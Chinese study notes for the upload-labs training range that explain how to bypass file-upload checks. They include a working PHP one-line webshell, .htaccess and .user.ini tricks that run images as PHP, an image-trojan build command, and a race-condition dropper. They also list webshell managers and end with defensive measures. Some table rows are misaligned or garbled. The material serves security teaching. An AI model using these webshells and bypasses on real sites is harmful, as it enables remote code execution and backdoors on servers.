文件上传漏洞专题:前端校验绕过、服务端 MIME 绕过、copy /b 图片马、%00 截断与二次渲染。
核心知识点
1. 一句话木马
<?php @eval($_POST['cmd']); ?>
- eval() 执行 PHP 代码,
$_POST['cmd']接外部,参数名即”连接密码”;cmd 可传任意 PHP,如phpinfo()。 system()本质是 PHP 函数,只是能调系统命令(Windows cmd / Linux shell)。
2. 上传靶场要点
- 上传后确认存储路径(如
upload/);提示成功也可能文件损坏/被拦截,去目录确认文件存在。 - 用”在新标签中打开图片”验证上传有效性。
- 前端校验最易绕过:禁 JavaScript、改后缀(.php→.png)即骗过;防护靠服务端校验。
3. 各绕过手法(upload-labs 1~17 )
| 校验方式 | 绕过方法 | |
|---|---|---|
| 第一 | 前端 JS 校验(只图片格式) | 浏览器禁用 JS / 修改后缀 / Burp 抓改请求 |
| 第二 | 后端 Content-Type 白名单校验 | Burp 抓修改 Content-Type 为 image/png |
| 第三 | 后缀名黑名单 | 上传 .php3、.php5 等变体,利用 Apache 解析容错机制(了 php* 通即按 PHP 解析) |
| 第四 | 严格后缀黑名单(禁用 php 变种) | 上传 .htaccess 目录级,将 .jpg 文件强制按 PHP 解析 |
| 第五 | 严格后缀黑名单(禁用 .htaccess) | 上传 .user.ini 目录级 PHP ,用 auto_prepend_file 预加载图片马 |
| 大小写统一校验遗漏 | 用大写 .PHP 绕过 | |
| 第七 | 后缀小写化 + 去空格 | 文件名加空格如 test.php ,Windows 存储时自动去空格 |
| 去尾部点 | 文件名加 . 如 test.php.,Windows 解析仍当 php | |
| 第九 | 特殊字符过滤 | Windows 文件流:test.php::$DATA 或 test.php.:date |
| 第十~十二 | 后缀名白/黑名单 | 双写 pphphp、%00 截断(旧版本)等 |
| 第十三 | 文件头 Magic Number 校验 | 文件开头加 GIF89a 伪造 GIF 头,绕过简单文件头检查 |
| 第十四 | getimagesize() 真实图片检测 | 需用真正的图片马(图片+代码合并) |
| 第十五 | 更深度图片类型检测 | 开启 PHP exif 扩展后正常识别;需图片马 |
| 二次渲染 | 比对原始文件与渲染后文件的二进制,把一句话木马未被修改的”稳定区域” | |
| 第十七 | 上传后删除(存在时间差) | 条件竞争:并发上传+访问,在删除前执行代码 |
4. 图片马制作(图片 + 代码合并)
# Windows:二进制方式读取图片,文本方式追加 PHP 代码
copy 1.jpg /b + test.php /a 2.jpg
- 文件以图片字节开头,能过图片检查;尾部 PHP 代码在 include 时执行。
- 文件头标识(Magic Number):
- JPEG:
FFD8 - PNG:
89504E - GIF:
GIF89a(进制4749 4638 3761)
- JPEG:
5. WebShell 管理
- 菜刀(China Chopper)、蚁剑、冰蝎:连一句话木马,管理后门文件、执行命令。
- 连接密码 = 传参的参数名(如
cmd);默认 POST,连不上先查请求方法。 - 木马被过滤 “php” 时,另找执行代码的路径(如文件包含间接触发)。
6. Apache/Nginx 解析特性
- Apache 解析漏洞:
httpd.conf的 MIME 映射把php开头后缀(.php3/.php5/.phtml)当 PHP 执行;没配则不解析。 .htaccess目录级(需AllowOverride All):
<FilesMatch "\\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini(PHP-FPM 模式生效):
auto_prepend_file = 图片马路径.jpg
访问任意 PHP 文件前自动加载该图片。
- 环境差异:Apache 默认不起 php-fpm,
user.ini不生效;需 Nginx + NTS PHP。
7. 条件竞争
- 原理:代码”先保存后检查删除”有时间差,木马在被删前可能已执行。
- 思路:上传的
test.php用file_put_contents()生成新文件,不受原删除影响。 - 实操:Burp Intruder 空(non-payload)跑 5000 次并发(默认 10 线程)持续上传+访问;一次返回非 404 即抓住时间窗口。
<?php file_put_contents('shell.php', '<?php phpinfo(); ?>'); ?>
8. 防御
- 白名单校验(黑名单难穷尽危险后缀)。
- 随机文件名让路径不可预测;重新编码图片去掉尾部附加。
- 存到 Web 根目录之外;独立域名/对象存储隔离执行环境。
- 禁止上传目录 PHP 解析(Nginx 不解析 upload 目录)。
实操步骤
# 1. 前端校验绕过:Burp 抓把扩展名 .jpg 改为 .php
# 2. MIME 绕过:修改 Content-Type: image/png
# 3. 后缀变体:test.php5 / test.php3(Apache 解析)
# 4. .htaccess 上传(见上)后上传 test.jpg 图片马
# 5. 图片马合并
copy 1.jpg /b + test.php /a 2.jpg
# 6. 条件竞争:Burp Intruder 空 5000 次并发上传+访问
常见错误与排查
- 访问 404 → 文件被重命名/目录不对/
upload不存在(重建)。 - 木马不执行 → 查 PHP 语法(分号)、参数名、请求方法 GET/POST。
- php3/php5 不解析 → 确认 Apache 配了对应 MIME 类型。
- .htaccess 不生效 → 查
AllowOverride All(phpStudy 默认可能为 None)。 - .user.ini 不生效 → 切 php-fpm 模式(或 Nginx + NTS PHP)。
- 第 16 二次渲染 → 用 010 Editor 比对渲染前后二进制找未变区域。
- 第 17 条件竞争失败 → 多线程并发 + 持续访问,脚本更可靠。